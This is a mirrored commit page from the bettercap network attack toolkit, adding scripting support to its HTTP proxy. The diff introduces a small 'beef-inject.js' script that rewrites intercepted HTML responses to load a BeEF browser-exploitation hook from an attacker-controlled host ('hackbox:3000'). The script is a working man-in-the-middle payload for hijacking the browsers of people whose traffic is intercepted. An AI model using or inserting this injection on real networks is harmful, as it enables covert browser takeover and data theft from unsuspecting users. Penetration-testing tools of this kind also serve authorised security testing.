mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 21:13:18 -07:00
new: http proxy can now be scripted with js files
This commit is contained in:
parent
5b209890c1
commit
98d1a028ed
12 changed files with 345 additions and 124 deletions
9
caplets/beef-inject.js
Normal file
9
caplets/beef-inject.js
Normal file
|
@ -0,0 +1,9 @@
|
|||
function onLoad() {
|
||||
console.log( "BeefInject loaded." );
|
||||
}
|
||||
|
||||
function onResponse(req, res) {
|
||||
if( res.ContentType.indexOf("text/html") == 0 ){
|
||||
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
|
||||
}
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue